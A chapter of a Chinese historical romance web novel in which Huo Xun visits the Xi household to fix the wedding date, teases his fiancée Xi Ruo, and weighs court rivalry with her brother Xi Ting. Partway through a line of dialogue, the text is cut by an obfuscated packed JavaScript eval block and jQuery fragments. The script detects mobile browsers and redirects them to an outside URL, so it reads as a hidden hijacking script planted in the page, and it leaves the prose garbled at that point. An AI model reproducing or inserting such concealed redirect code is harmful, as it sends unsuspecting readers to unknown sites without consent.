有关联姻之事，霍恂与息家都没打算隐瞒今上，是以消息很快就到了今上眼前，今上也就即刻宣召了霍恂与息家父子。


    这样的场面是今上乐见，交谈的全程也是顺畅开怀。他们出宫时，今上不曾降下赐婚的令旨，但却放出了话，让李贵妃帮忙督办，为霍恂操持这一场婚礼。


    这位正值盛宠的李贵妃，正是息停的妻姐，当年息停成婚的时候，今上甚至与贵妃亲自到场观礼。这句话说出来，就是在宣扬他对两家联姻的鼎力支持与重视了。


    宫中都有了话，等同于将这件事从风言之中彻底定调，世家之间自然对此有所议论，冯家也不例外。


    冯晚对此难以接受，曾去寻长辈们争辩过，除了训斥与拒绝之外自然什么也得不到。他倒是与南平郡王府有亲，南平府本就不喜息家，自然也不会帮他。


    他甚至还试图想要去求在宫中为妃的那位表姐，可惜话都没递进去。更莫说，即便递进去了，即便那位表姐真站在他这一边，也绝不可能抵得过盛宠的李贵妃。


    他倒是用心，徒然挣扎一圈，却尽是无用之功，半分作用也无。


    有人将冯九郎这些奔忙笑话一般地告诉息停，想要打听他的口风，却也不过得他一笑置之。任这些事在宁都城中传得如何，息偌一句都没听到。


    因为息偌近些时候没出过家门。


    天气渐冷，她本身也就懒得出去。原本若是好友相邀，她也会应约，但如彭琰这样关系极佳的友人，知道外头的那些话，自然不会刻意将息偌带出去，即便想要相聚，也都是主动上门来。


    而除却友人以外，清都侯府上也来息家拜访过几次，偶尔是仆从来，偶尔是霍恂本人亲自来。


    若是仆从前来，那就是得了主人的叮嘱，给息家长辈和息偌送些礼物来。给长辈们的都是礼节上的东西，给息偌的倒是什么都有，不拘于贵重与否，都是合她心意的东西。


    息夫人也打听过两回，自己也撞见过两回，贵的物件倒也算了，便宜的甚至有些点心花草什么的，瞧着也不如何珍惜，难得的是寒日里随时想见便送来的心意。


    如此看了两回，她便又暗自满意放心了许多。


    而若霍恂是亲自前来，那便不大一样了。


    他是为行完六礼而来，来时便比寻常要庄重许多。需要双方父母相见的场合，今上都已为他安排妥当，请了当年与霍其祯老将军同袍为将的一位老将，以及朝中一位德高望重的皇叔，一起登门拜访。


    霍恂跟在此二人之后，穿着举止无不合宜有礼。


    他全程没有冒昧地提过非要与息偌相见不可，只每次离开之前都亲自给息偌留一份小礼，请求息家长辈转交。


    如此，在年关之前不久，便到了请期那日。今上命钦天监测算过良辰，定在了年后的二月初六。霍恂登门送上日帖，请息家父母过目。


    日子紧俏了些，满打满算，也就是一个月余，好在是息家家底丰厚，先前就有所准备，倒也算不上如何匆忙。


    场面上的礼节走了一遍，原道霍恂便要离去了，这回倒不大一样。


    他行礼请二位长辈先去，这才转过来对息檀夫妇道：“婚期定下，照理是不该相见的。只是我与四娘已有许久未见，不知今日可否请二位长辈通融，让我与四娘见上一回？”


    备婚的这段时间以来，他行事处处妥帖，见不到息偌便不见，最多就是送些物件，连封信也没有，免了许多麻烦，更没有如先前那个冯九郎一般，勾得她成日里要往外跑。


    他积攒的好感足够，再兼之这桩婚事本就是为了两方修好。息檀没有拒绝此请，命仆从去后院里清了个僻静又不背人的暖阁，让仆从带着霍恂前去稍候。


    霍恂在彼处等了大约一炷香的时候，息偌才缓缓来到。


    跟来的人都退到了门口，既不至于听见他们说话，也不至于离得太远。


    霍恂自看见息偌身影的那刻，眼里便浮出些淡淡笑意，待她入阁之时，又微微垂下眼睑掩饰了过去。


    他伸手为她斟茶，听见她站在对面道：“好端端的，你非要和我见面做什么？不怕我父母听了心里不快？”


    霍恂将茶盏推去对面，道：“原本不打算如此，我以为是你想见我。”


    息偌刚刚坐下，被这一句话激得差点站起来。她挑起眉毛，反驳道：“我何时想要见你？”


    霍恂抬头觑她神色，笑道：“那莫非是我看错了？正厅屏风后头站着的那个不是你？”


    他看着她分明有些红的脸颊，煞有介事地瞧了一眼她身上穿的衣裙，点点头道：“看来是我看错了，躲着的那个是身蓝裙子，你却不是。”


    特地绕回去换了身衣裙的息偌：……


    认是不可能认的。


    息偌先前是对霍恂来息家做了什么一点兴趣也没有，只是一方面听家人说，他每次来时举止都很是温和有礼，一方面又听友人说，外头都说清都侯很是看重这桩婚事，各项事宜筹备得极为仔细，还说常见清都侯府上去给息家送礼，说他对她用情深厚……


    她因此才生出了些好奇。


    那霍恂竟这般会做戏吗？那她可要好好看一看了。


    老天作证，她就暗自去看了一回，怎么就让他抓个正着！


    她坚决地摇头否认道：“那必然是你看错了！这是我家，我要是想见你，正大光明去前头见就是了，何至于躲在屏风后头瞧？”


    霍恂从善如流接口道：“那就是我想见你了。曼曼，莫见怪。”


    息偌这是第三回见霍恂，她已经很久没应过他的话了，骤然听见他喊自己一声“曼曼”，执杯的手都抖了抖。


    若不是她方才紧张，喝了些水，不然这时候茶水都要洒出来。


    她连忙道：“你怎么叫我小名？我们还不熟呢。”


    霍恂无谓道：“那你习惯习惯罢，连小名都听着奇怪，将来改了口，你岂不是浑身难受？”


    息偌气鼓鼓地盯着他：瞧瞧！她就说他怎么可能是温和有礼的谦谦君子？嘴上说着想见她，真的见到了，几句话不完，又要拿话堵她。


    他给她添茶，故意道：“曼曼，喝茶。”


    息偌不想理他了，下意识垂手去拿茶杯想要别过脸去，可是茶杯递到了唇边，又听见他似乎是轻轻笑了笑，随即反应过来，她此举正是应了他的那话。


    于是茶水到了嘴边，息偌又觉得不对劲，气冲冲地把茶杯重新放回了桌面上，别过脸不理他了。


    霍恂接下来倒是没再说话了，手里拿着杯盏，悠闲缓慢地用完了一杯，将空了的杯盏放回去，拂袖道：“那我就告辞了。”


    此日晴空万里。


    温暖的阳光落在寒冷寥落的冬日里，将风声都吹缓了三分，偶尔还能听到几声鸟鸣。


    息偌听着炭火中的轻微爆裂声，有些微怔地抬头看他站起来，嘴比脑子更快，问他道：“你这就走了？”


    问完她就想打自己嘴。


    霍恂理了理衣摆，应了她一声。


    既然要送客，息偌也就站了起来，有些踯躅地问他道：“你今日是来做什么的？”


    如果没有什么事，为什么非要见她一回？如果有什么事，又为什么这会儿不说就离开？


    霍恂想了想，看着她问道：“你知道定下了二月初六罢？”


    息偌下意识想要点点头，突然反应过来，自己才否认了刚刚在前厅的事，于是故意做出惊讶的神色，微微掩口道：“那么快？”


    霍恂看着她拙劣的演技，扯了扯唇角，道：“还有一个多月，不算很快了。”


    息偌反驳道：“一个月能做什么？我还没准备好和父母分开呢。”


    霍恂故意道：“一个月，方家都能抄完了。”


    是建朝初期的一个大家族，清流文臣发的家，一贯是忠诚热忱，可惜后人勤勉直接有余，为臣之谨言慎行不足，又碰上个猜忌心重的帝王，直接罗列了十八条大罪，抄了个干干净净。


    息偌现在也有些明白他与她说话的套路了。他这么明目张胆地说这些威胁她的话，其实并非是真的想要威胁她什么，更多的是故意吓唬她，想看她跳脚。


    她伸出一只手指，对着他恶狠狠地点了点，警告他。


    只是这样的动作落在他的眼中，实在是没有什么太大的威慑力。他只轻轻笑了笑，不说话。


    息偌转身与他一起往外去，低声道：“你在我爹娘面前装得也太好了，跟给他们灌了迷魂汤似的，不过送点小礼物，教他们在我面前将你夸得不行。真该叫他们来听听来看看，你是怎么对我的。”


    霍恂不大相信所谓的赞不绝口，甚至还挑眉看了看息偌，想她居然也会这么面不改色地在他面前给父母说好话了。


    但是他也没有戳破，顺着这话道：“夫妻间交谈，即便话说得冒犯些，也是风月情趣。你敢叫他们来，我敢说，他们倒未必愿意听。”


    息偌努嘴道：“话都叫你说了，真觉得将我家都拿住了是不是？”


    “岂敢？”


    最麻烦的那个，今日还没见着呢。


    霍恂一面与她走，一面又循着这话，想到了这些日子以来的麻烦。


    以他原本的想法，哪怕仓促些也无妨，老话有说“抬头红”，忌讳于正月成亲，他不想耽误太久，想着最好在年前就把婚事定了。


    关于他入朝的事，他已然与今上私下里议论过了，今上没有明言，但已经给他露了些口风。


    再者，朝中近来也有些官员调动的大动作，声势还不小，一来是今上的确有调动的想法，二来是让他的归来与官员的调动互相掩护，既让钻营之徒不清上意，以便今上将真正想用之人放在合适的位置上，也能让他顺利趁着这趟浑水，挪去一个合适的位置上。


    他早日入朝，也好早日动作，早日施展手脚。


    但是麻烦就麻烦在，息停的位置实在是有些碍眼了。


    他少年入朝时，就站在今上那边，自始至终从没有做过一件对今上不利的事。今上势盛时，他水涨船高；今上式微时，他不降反增。他是将皇权和世家的力量都运用到了极致，但却是为了今上的。


    今上若不用他，一来是寒了臣子之心，二来，也是少了一把很合适的世家之刃，那就太不值得了。


    于是这把双面刃，如今日日悬在眼前，看着烦心，丢了恼火。


    现在霍恂来了，霍恂百分之一千地要与今上站在一处，甚至要站在今上的眼前，于是这个锋刃，就横在了霍恂的眼前。


    朝堂的浑水，是霍恂的掩护，也是霍恂的麻烦。息停在朝中根植经营多年，即便助力今上，做了今上近臣，仍旧不失世家威望，岂能没有他私下里培植世家实力的缘故？


    霍恂想要推动婚事尽快进行，以便自己早日入朝，息停就能想办法拖延婚事，将行三书六礼的时间无限延长，竟真真将婚期拖到了年后去。


    想想就烦。


    不过这次暗中交锋里，他倒也不是全然无所获。


    原本他以为，那位领了圣命要操办此次婚事的李贵妃，也许会看在妹妹的面子上，和息停达成一致，反过来对付他。孰料当他们二人真争起来，她倒是帮起了霍恂，想要将婚事推前。


    霍恂初来乍到，虽有听闻，但不曾亲眼见过，尚不敢完全确定。于是某次进宫去与今上说话时，恰逢李贵妃过来，他就提了一句，多谢李贵妃费心为他操办。


    这位李贵妃容色极盛，传言里说是威严极佳，甚少牵扯朝堂之事，即便有官员想要走她的门路，多半也是会言辞驳回。若是为国为民的好事倒也罢了，若是怀抱钻营之心，即便是她父亲李相当年门下的学生，她也是坚决不见的。


    但她也是有软肋的。李相故后，她就剩下了两个同胞妹妹，若是谁让她这两个妹妹受了委屈，她是坚决不会放过的。


    息停借着李常希与李贵妃之间的姊妹情深，不知走通了多少大事。


    但是这一回，息停倒是没能走通。反倒是霍恂，此次相见，李贵妃上下打量他一番，很是赞许了他一番，又和颜悦色地与他与今上说了会儿话，这才回去。


    霍恂行礼送她，余光里瞧见今上的目光就像黏在李贵妃的后背上似的，脸上的笑挡也挡不住，直等到李贵妃的身影彻底看不见了，才将目光收了回来。


    他对霍恂道：“息为止的妻子，是贵妃的妹妹，这你知道罢？”


    霍恂道：“知道。”


    今上负手道：“他们夫妻之间不大和睦，如今已经分居。贵妃因为此事，对息为止很不满意。”


    所以才愿意霍恂搅局，她巴不得有谁来给息停送些麻烦。


    霍恂听着这话，垂着眼，没有接口。


    今上又道：“晚些也不妨。你仔细看看宁都的局势，眼下不见他们有和好或者和离的迹象。但这也未尝不是个好事，看你如何把握。”


    他似笑非笑地觑着霍恂道：“只是你莫也着急，别和息为止似的，性子闹起来连分寸也顾不上。都是一家人，贵妃日日忧心，朕看着也不舒畅。”


    这话就是在提醒霍恂，务必要把握住息停眼下家事不宁的时机，必要时甚至无妨推动一把，只要莫闹到李贵妃眼前，随他做到什么地步都无妨。


    那回相见，霍恂口中将这话带过去了，但心里压根没将今上这话记着。


    一来，自己和息停的关系摆在那里，实在是没必要干这种戳心窝的事情，是人总有逆鳞，若是将息停逼急眼了，才是件难处理的麻烦事。


    二来，眼下有息偌夹在中间，他对她来说尚不算是什么重要之人，真要发生了什么，她必然是站在她家人那边，但息停未必会有这样的善心将她护着。


    此局落败便落败，婚事晚些就晚些。息停无非是想多做准备，又不是真要阻止他们的婚事，他何必在婚期这种事上一来就争个头破血流。


    不值当。


    霍恂与息偌走在一起，脑中一瞬间划过过去这许多破事，脸上却仍旧是一副温和的表情，半分也没叫息偌看出端倪。


    息偌什么都不知道，还以为他这些日子就是送送礼物、安排婚事呢。


    她一面走，一面与他道：“你也没必要三天两头地就给我送什么东西，我什么都不缺，总之现在婚事落定，你也用不着做这些给人看。”


    哪里都是为了做给人看的？


    霍恂问她道：“是吗？外头人看见了，都说什么？”


    息偌有些无语道：“说你性情好，温润如玉，彬彬有礼；说你情深一片，寒冬腊月里拖着病体，还去给未婚妻置办礼物；说息四娘子真是娇蛮无理，偏偏就是运气好……”


    她说着说着，就有些气来，半怒半怨地瞪他一眼，恼道：“都是夸你贬损我的。”


    霍恂听见这些话便笑，道：“你真是不出门，怎么不寻些好听话来听？若是谁贬损你，你上去撕了谁的嘴，横竖我是给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515487|168229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你撑腰的。”


    息偌道：“得了罢，我哪有那精力天天出门。”


    她苦着脸道：“贵妃这些时候派了嬷嬷来，要讲讲宫中大仪典的规矩，将我成日约束在家里。若是从前，我还能去找嫂嫂，托她救救我，眼下是不能了。”


    这就是城门失火，殃及池鱼。她长兄对不起她嫂嫂，她可没有呀，怎么宫里的贵人烧起火来，竟拿她当柴使。


    霍恂挑眉道：“这可不像你。那嬷嬷整饬你，但你在自己家里，就没些教训她的手段？这总不应该。”


    息偌瞥他一眼，神色又俏丽地飞扬起来，道：“那我自然也是有办法的，总不能在外面受委屈，在家里还受这个委屈。”


    霍恂笑着看她，心里却在盘算，下次入宫也得请今上与李贵妃说一声，和息停不对付就去闹息停，别折腾这么个小姑娘，将来她都得将账算在自己头上。


    眼下，他只与她道：“若嬷嬷再疾言厉色、以下犯上，你将事闹得大些也不妨，最多她就是回宫去与陛下、贵妃告状。陛下不会管这些，贵妃也只会寻你兄长的麻烦，不会和你计较。”


    息偌不信道：“我若不见她也就算了，但将来若是与你一起，必然常去见她。你与长兄也不能一直护着我，得罪她对我有什么好处？”


    霍恂倒是不大在意，道：“不入宫就不去，这也没什么，你当陛下有多想和这些世家子女们谈笑吗？再说了，那些规矩，我自己都不喜欢，你也没必要学得那么认真。”


    若是将她约束狠了，套在这些礼节的笼子里，她也就不有趣了，那可不是他希望看到的。


    息偌偏头问道：“真的？”


    霍恂点头应道：“当然。”


    息偌是一点没信，扭过头轻声嗤了下，道：“算了罢。我可不希望将来为了这些礼节上的事出什么差错，平白给自己添什么麻烦，那就太亏了。”


    霍恂对她道：“那你大可放心的。若是真想寻事，没差错也能挑出差错来。无中生有懂不懂？”


    息偌十分怨念地望着他道：“你就不能说些好听话吗？”


    霍恂笑道：“我劝你不要容忍，是你不听的。”


    息偌反驳道：“你懂什么！我是为了我的好嫂嫂忍辱负重！”


    她看着霍恂若有所思的神情，声音提高了些，警告他道：“我可告诉你，你要对付就找我长兄去，别打我嫂嫂的主意！”


    霍恂问道：“这么喜欢你嫂嫂？”


    息偌道：“我倒巴不得这是我亲姐姐呢。”


    这样她还能撒个泼，抄起花园里的扫帚把那位坏姐夫撵出去。


    霍恂目光看向前路的影影绰绰，似笑非笑道：“你的亲姐夫来了。”


    息偌是息家这辈第一个女孩儿，哪里来的什么姐姐？霍恂这句话一出口，她就反应过来是息停来了。


    她的表情肉眼可见地紧绷起来，立刻顺着霍恂目光的方向警惕地看过去，果然看到那边小径之后，息停穿着居家的常服，拢着件半新的厚袍缓缓走来。


    霍恂看着她跟只受惊的兔子似的，原本是挺好笑的一个场面，但他唇边的笑意此刻却没那么真了。


    他来回打量了一回这兄妹俩，问道：“就这么怕他？”


    他满眼都是些“你不是他亲妹妹吗”的不解，在此之前，他知道息偌害怕息停，还以为只是嘴上说说而已。


    息偌紧张到目不斜视，背都挺直了，看向她长兄走过来的方向，只有嘴唇微动，与他说话道：“你不知道，即便是我那些叔叔们来了，也是要害怕他的。”


    “是吗？”


    霍恂将目光放在前面，眼见着息停走近了，息偌将将准备要与他见礼的时候，他突然开口高声唤道：“息大郎君！请先止步！”


    息停原本就是过来找他们的，听见这么一声，脚下下意识放缓了半步，立住了，问道：“怎么……”


    而趁着这个空荡，霍恂却突然伸手，隔着斗篷握住了息偌的手腕，将她向旁边拉着快步跑开了。


    息偌还没反应过来就被他拉走，她脚下跟着霍恂移动得飞快，脸上的表情却还是错愕的，头也往后转着看了看，对霍恂惊愕道：“你跑什么！”


    霍恂也没跑太远，和息停拉开了一段距离就停下来，回头望着息偌，十分自若地道：“你不是害怕他吗？惹不起还能躲不起吗？跑远点，免得他再吓唬你。”


    息偌一拳头就砸到他身上，道：“你等下走了，我还在息家呢，到时候他来找我算账、教训我，那我怎么办？”


    霍恂十分洒脱道：“我都看不见了，还要管吗？”


    息偌没忍住又砸了他两拳，怒道：“你要害死我了！”


    霍恂方才突然跑起来，呛了些凉风，此刻被息偌一砸，虽然没多大力气，但还是觉得喉头发痒，握拳掩口转向一边，轻轻咳了两声。


    息偌的动作立刻停了下来，她有些迟疑地发问道：“你现在的身体这么虚弱了？”


    她也没用什么力啊。


    霍恂面无表情道：“冷风呛我，没良心的息四娘子也呛我。”


    息偌无语道：“谁呛你了？我与长兄见个礼不就好了吗？谁让你跑了！”


    霍恂好歹跑的时候还是看着路的，这么一跑，再沿着这个方向去，又要回到他们方才对坐的暖阁。


    他将喉咙里那股痒意压了下去，道：“得了，你顺着这边，直接回居所罢。我过去拦着他，保证他找不到你那儿去。”


    他错身向前走了两步，又回头道：“婚前我不会再来息家了，你可还有什么事吗？眼下告诉我，我可去处理。”


    息偌想了想，摇了摇头。


    她能有什么大事啊？真有事，也是她双亲和兄长在前替她处理，轮不着他来。


    于是霍恂便道：“我还叫侍从时不时来给你送些东西。你若有什么事，不拘写信或者口信儿，直接告诉他就成，我知道了就去料理。”


    息偌抬头看他，他神色倒是很认真，这么微微垂首殷殷叮嘱，倒是生出些很是温柔的样子来。


    她心里骂着“美色误人”，想，都怪他生了这样一副好皮相，所以明明性情恶劣，但她也总是生不起气来。


    也都怪她，真是天下善解人意第一人。


    既然他都这样叮嘱了，于是息偌也就应声道：“知道了。”


    霍恂点点头，这才要转身离去。


    息偌看着他背影，想起来，他上次生着病回去，这次见面，她也没问过他养好了没有，不过看今天他与她说话的样子，气色倒是还好，表情也没有太多倦怠，应当是好了的。


    她下意识开口想要唤他一句。


    “霍……”


    不对劲。她要直接叫他名字吗？剩下那个字她可叫不出来。


    算了。


    但是他似乎还是听见了，脚步停下来，回头又看她，带着些问询之色看向她。


    息偌心里定下来，回望他问道：“上次说要给我准备一匹小马，你还记着没有？”


    霍恂闻言微微一怔，很快又反应过来，答她道：“都准备好了，你随时来看。”


    随时？她才不要随时。真是给他脸了。


    阿爹都说了，息家也要自恃身份端一端架子的，她也是有自己的脾气和格调的，才不要他一招呼，她就巴巴地跟去。


    虽然她的确很想要看看自己的小马。


    息偌故作骄矜地点头道：“那就年后再去。”